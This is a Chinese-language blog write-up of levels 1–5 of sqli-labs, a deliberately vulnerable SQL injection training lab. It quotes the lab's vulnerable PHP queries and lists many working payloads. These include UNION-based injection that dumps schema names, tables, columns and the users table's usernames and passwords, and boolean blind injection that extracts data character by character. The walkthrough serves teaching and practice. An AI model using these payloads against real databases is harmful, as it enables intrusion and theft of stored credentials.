• 漏洞重温之sql注入(一)


    漏洞重温之SQL注入(上)


    sqli-labs通关记录

    Less-01

    首先我们打开本关,可以看到url里面 缺少了id参数。

    所以我们需要手动给这个页面加上id参数。

    添加上了id参数后,我们进行sql注入所需要的条件以及齐全了。

    因为这次闯关我们是以白盒角度进行的,所以我们不进行尝试,直接查看源码,源码很长,我就不全部放出来了,捡最主要的,跟大家分析一下。

    首先,我们看第一个需要关注的代码。

    $id=$_GET['id'];
    

    这行代码的意思,就是网页通过get请求方式,获取到id的参数值,这也就代表了我们可以直接在地址栏里面进行我们sql注入的相关操作。

    第二个要关注的代码如下。

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    

    这行代码是网页从数据库中查找数据,也是sql注入的关键位置。简单来说,这行代码的一丝就是,我们要从 user这个表里面,查询所有id等于我们输入id的内容,然后只取一条反馈到页面上。

    第三个要关注的代码如下。

    $result=mysql_query($sql);
    

    这一行的代码很短,但是却是比较关键的一步,首先说一下mysql_query这个函数。简单点来说,这个函数可以帮我们执行sql语句,并且返回一个结果,但是这个结果只是一个资源标识符,如果直接返回给我们,是无法让用户看到自己希望看到的内容。所以,就有了我们第四个需要关注的代码。

    第四个要关注的代码如下。

    $row = mysql_fetch_array($result);
    

    这行代码,简单点来说,是mysql_fetch_array这个函数,它的作用是返回根据结果集取得的行生成的数组,也就是说,mysql_query这个函数在执行过sql命令之后,是会带回来结果的,但是返回的只是资源标识符,而这个函数,能够从返回的结果里面,取出来我们希望看到的内容。

    第五个要关注的代码如下。

    print_r(mysql_error());
    

    print_r函数,是php里面的输出函数。我们第一个程序的hello word就是依靠这个函数输出的。我们需要关注的,是mysql_error这个函数,这个函数就是如果sql语句出错,就通过这个函数返回错误。这两个函数集合在一起,就是报错注入的关键。

    或者说,是我们判断这里是否有报错注入的关键。

    因为如果一个地方有注入,但是我们通过测试后,页面并没有返回数据库语句错误,我们是无法判断这个地方存在报错注入的。

    第一关的源码很长,但是我认为需要关注的点就这么些。

    mysql_query(),mysql_fetch_array()这两个函数完成了网页从数据库查询的功能。

    mysql_error()这个函数,满足了报错注入所需要的条件。

    代码看完之后,我们就只需要把视线聚焦在一条代码上面。

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    

    我们清楚SQL注入攻击的原理:恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对用户输入内容过分信任而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。

    所以,我们需要完成sql注入攻击,就需要闭合掉原本的sql语句,然后在后面拼接我们希望执行的sql语句。

    简单分析一下这个代码,我们输入的内容,会被传输到$id这个参数里面,所以我们需要关注的点在id='$id' 这里。所以,如果我们希望这行代码闭合,那么我们就需要利用单引号。

    简单来说,如果我们输入的内容是1,那么 id='$id' 就会变成 id='1',而如果我们输入的内容是1',那么id='$id'就会变成 id='1'',整合到语句里面,就是如下的代码。

    $sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";
    

    可以看到,代码里面多了一个单引号,而这,就会引起语句的出错。

    所以,为了保证网页还可以正常进行,我们需要将后面的单引号注释掉。也就是利用“ -- ”,这里注意,两个横杠前后,都要加上空格,不然会注释不掉后方代码。所以在加上之后,代码会变成如下这样。

    $sql="SELECT * FROM users WHERE id='1' -- ' LIMIT 0,1";
    

    这里,因为这关是有显示位置的,所以我们需要知道有几个位置是我们可用的,这里就需要用到order by。

    pyload如下:

    1' order by 1 -- 
    

    这里,我们需要调整 by 后面的数字,逐步增大,直到网页报错为止,如果网页报错,我们就知道,上一个数字,是最大的。

    这里,我测试过了,最大数字为3,因为很繁琐,就不一步一步测试了。

    测试出了最大数字之后,我们就知道了网站的显示位置。

    这里,我们可以利用联合查询。payload如下:

    1' and 1=2 union select 1,2,3 -- 
    

    可以看到,网页上原本显示username和password的地方现在变成了2和3。

    这里要注意的是,原本在id 后面跟着的等式 1=1 变成了 1=2 。这里,就跟union 这个语句有关了。这是sql注入里面很常用的东西,用法是将前后两个sql语句结合起来,但是,如果第一条成立,那么在显示位置有限的情况下,后面的查询虽然也正常执行了,但是却不会在网页上反馈,如果我们希望在屏幕上直接看到返回结果,就需要让前方的语句错误。

    然后,在得到了显示位置的之后,我们就可以将2和3替换掉,来构造语句,让网页返回我们希望看到的内容。

    pyload 如下:

    1' and 1=2 union select 1,version(),database() -- 
    

    version()这个函数是返回当前数据库版本信息,database()这个函数是返回当前数据库名。

    接下来,是sql显注的常用命令。

    1' and 1=2 union select 1,(select schema_name from information_schema.schemata),3 -- 
    

    这一条命令,是报数据库名的,但是,直接在地址栏输入这个内容,网站会报错。

    这里是因为schema_name 的内容是很多行,但是这里只有一行的显示位置,所以我们需要通过 group_concat这个函数来将所有的数据整合到一行输出。

    最后完整的爆数据库名称的payload如下。

    1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 -- 
    

    在得知了全部数据库之后,我们就可以从中选择自己想要查询的数据库,爆表名。

    payload如下:

    1' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 -- 
    

    得到了表名之后,为了得到里面的数据,我们还需要知道字段名。

    payload如下:

    1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 -- 
    

    在得知了字段名之后,爆数据的操作就比较简单了。

    payload如下:

    1' and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) -- 
    

    到这里,sql手注的基本命令就已经结束了,sqli-libs的第一关,通关。

    Less-02

    第二关,我们同样先在url中增加id参数。

    因为我们这次是白盒测试,废话不多,直接看代码。

    因为关键的几个函数第一关已经讲过,所以这里我们就直接看关键的地方。

    $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
    

    这里,我们可以看到 这条代码里面的 id=$id ,$id 外面并没有任何的包裹,所以,这里我们不需要做闭合,直接将我们想要构造的参数直接输入在网址里面就可以了。

    这里,我们只需要按照上一关一模一样的步骤就可以完成注入。

    这里要说一个知识点,那就是字符型注入和数字型注入。

    通常sql注入漏洞分为两种类型:数字型、字符型。其实所有类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与自负来区分的,所以就会产生注入点为何种类型。

    1. 数字型判断

      当输入的参数为整型时,通常程序中的sql语句类型大致如下:

      select * from (表名) where id=x

      这种类型可以使用经典的 and 1=1 和 and 1=2来判断。

      判断根据为,如果参数后面跟上 and 1=1运行正常,and 1=2运行出错,则说明这里的sql注入为数字型注入。

    2. 字符型判断

      当输入的参数为字符型是,通常程序中的sql语句类型大致如下:

      select * from (表名) where id='x'

      这种类型我们可以使用 and ‘1’ = ‘1’ 和 and '1' = '2'来判断。

      判断根据为,如果在参数后面跟上 and '1' = '1' 运行正常 ,and '1' = '2' 运行出错,则说明次数的sql注入为字符型注入。

    第二关,通关。

    Less-03

    第三关,先在url中加入id 参数。

    直接看代码。

    这里,我们关注下面的代码。

    $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
    

    这里可以看到,id=('$id'),也就是说,我们在url中的id=1如何结合到代码里面,那么代码就会变成。

    $sql="SELECT * FROM users WHERE id=('1') LIMIT 0,1";
    

    所以,如果我们想要在闭合代码,并且在后方拼接代码,就需要先闭合前方的单引号和括号。

    综上所述,这一关我们想要完成注入,需要构造的payload如下:

    1') and 1=2 union select 1,2,3 -- 
    

    ps:第二关没有加注释的原因是,第二关我们其实没有闭合掉任何东西,所以哪怕我们在后面拼接sql语句,也不会有多出来的部分导致代码出错,所以,并不需要注释掉后面的部分。

    第三关,通关。

    Less-04

    第四关,在url里面增加id参数。

    不说废话,直接看代码。

    这里,我们需要关注两行代码。首先,还是我们前几关关注的位置,第一行代码如下:

    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
    

    这里,我们可以看到代码里面 id = ($id) ,但是,如果我们直接使用单括号闭合,是无法完成目的的。

    上图我们可以看到,我们用单括号闭合了参数,并且在后面构造了语句 'and 1=2' 正常的语句,是不会返回任何结果的,但是现在他返回了,所以我们的输入没有被执行,也就是说我们构成的语句出问题了。

    这里,就需要关注第二行代码。

    $id = '"' . $id . '"';
    

    这里,可能看着代码很难理解,但是其实点在php代码种起的是拼接作用,而单引号,只是将他包裹的内容定义为字符串。

    所以,这一行如果简单点来看的话,其实是这样的 $id = "$id",这一行就是在我们输入的参数外面包裹了一个单引号,单分出来一行是因为直接这么写会因为原始代码里面也存在双引号,会导致代码出错。

    所以我们这一关想要构造闭合,要使用 ") 而不是 )。

    完成payload如下:

    1") and 1=2 union select 1,2,3 -- 
    

    第四关,通关。

    Less-05

    第五关,先给url里面增加id参数。

    虽然这个页面跟前面几个有区别,这个暂且不提,先看代码。

    这一关,简单点来说的话,还是只需要看一行代码。

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    

    所以,我们只需要利用单引号闭合,然后在后面构造自己希望执行的sql语句就可以了。但是,从下方的输入内容,我们可以看到,这一关,我们希望看到的内容并不会在页面上得到反馈了,这就是布尔型盲注。

    下面是盲注的一些常用命令。

    1' order by 3 -- 
    

    测试当前数据库名称字符长度。

    1' and length(database())>1 -- 
    

    ps: 这里挨个增加后面的数字太麻烦,我们可以通过取中间值的方法来缩短测试次数。比如先测试大于1,再测试大于10,如果第一次成功,第二次失败,就证明字符长度在1和10之间,下一个就可以测试是否大于5。

    这两行代码可以看出来,当前数据库的字符串长度为8,知道这个之后,我们就可以挨个测试每个字母是什么。

    测试第一个字母是什么。

    1' and substr(database(),1,1)='s' -- 
    

    测试第二个字母是什么。

    1' and substr(database(),2,1)='e' -- 
    

    这里因为我们清楚当前数据库为 security,所以就不一个一个测试了。

    这里,如果想猜别的数据库名,可以通过下面这个代码来完成。

    猜第一个数据库的第一个字母。

    1' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i' -- 
    

    猜第一个数据库的第二个字母。

    1' and substr((select schema_name from information_schema.schemata limit 0,1),2,1)='n' -- 
    

    猜第二个数据库的第一个字母。

    1' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='c' -- 
    

    猜第二个数据库的第二个字母。

    1' and substr((select schema_name from information_schema.schemata limit 1,1),2,1)='h' -- 
    

    当然,我们还能通过下面代码来获知,到底有几个数据库。

    payload如下:

    1' and 1=((select count(*) from information_scheama.schemata)=6) -- 
    

    利用这行代码,我们可以知道总共有多少数据库。

    同理,在我们爆表名之前,也可以先查看一下指定数据库中有几个表。

    payload如下:

    1' and 1=((select count(*) from information_schema.tables where table_schema='security')=4) -- 
    

    猜指定数据库的第一个表名的长度。

    1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1 -- 
    

    测试出了第一个 表名的长度之后,我们就需要猜第一个字母是什么。

    代码如下:

    1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' -- 
    

    猜第二个表的长度。

    1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))>1 -- 
    

    猜第二个表的第一个字母。

    1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r' -- 
    

    猜第二个表的第二个字母。

    1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e' -- 
    

    猜出来表明之后,就需要爆字段名了,我们同样可以利用代码来查看这个表中有几个字段。

    payload如下:

    1' and 1=((select count(*) from information_schema.columns where table_name='users')=6) -- 
    

    爆指定表的第一个字段长度。

    1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>1 -- 
    

    猜第一个字段的第一个字母。

    1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='U' -- 
    

    猜第一个字段的第二个字母。

    1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='S' -- 
    

    猜第二个字段的第一个字母。

    1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='C' -- 
    

    猜第二个字段的第二个字母。

    1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),2,1)='U' -- 
    

    在得知了字段之后,我们就需要爆数据了。

    爆数据的时候,我们还是需要先使用代码查看这个表格中到底有多少条数据。

    payload如下:

    1' and 1=((select count(*) from security.users)=13) -- 
    

    ps:这里有个很有意思的点,因为users表里面有六个字段,但是我们爆数据数量的时候,爆出来表中有十三条数据,是指有十三条数据,每个字段里面都有十三条,而并非所有字段里面的数据加起来只有十三条,这个可以留意一下。

    爆指定字段的第一条数据的第一个字母。

    1' and substr((select username from security.users limit 0,1),1,1)='D' -- 
    

    爆指定字段的第一条数据的第二个字母。

    1' and substr((select username from security.users limit 0,1),2,1)='u' -- 
    

    爆指定字段的第二条数据的第一个字母。

    1' and substr((select username from security.users limit 1,1),1,1)='A' -- 
    

    爆指定字段的第二条数据的第二个字母。

    1' and substr((select username from security.users limit 1,1),2,1)='n' -- 
    

    上面,就是盲注的简单手法,但也是一个比较复杂的手法。

    可以看到,在我们真正爆数据的时候,limit后面跟着的两个数,第一个数代表从第几个开始取,第二个代表这次取几个,通过修改这两个数据,我们可以做到取指定数据。括号外面的两个数,第一个代表了从第几个开始取,第二个代表取几个,通过这两个数据,我们可以做到取指定数据的第几个字母。

    当然,如果我们从开始就猜测到可能存在这个数据库的话,我们可以直接将外面的数值修改,然后直接猜表名,而并非一个一个猜。

    这里,我们用最后一步,取指定字段的第一条数据。

    payload如下:

    1' and substr((select username from security.users limit 0,1),1,4)='Dumb' -- 
    

    第五关,通关。

    文章未经本人允许,禁止转载。 有技术问题,可加好友讨论。 联系方式:QQ:MjgxMjMxODAzNQ== 微信:bzNycjByLVhpYW9taW5n
  • 相关阅读:
    错误处理和调试 C++快速入门30
    错误处理和调试 C++快速入门30
    虚继承 C++快速入门29
    多继承 C++快速入门28
    界面设计01 零基础入门学习Delphi42
    鱼C记事本 Delphi经典案例讲解
    界面设计01 零基础入门学习Delphi42
    虚继承 C++快速入门29
    linux系统中iptables防火墙管理工具
    linux系统中逻辑卷快照
  • 原文地址:https://www.cnblogs.com/Xiaoming0/p/13538980.html
Copyright © 2020-2023  润新知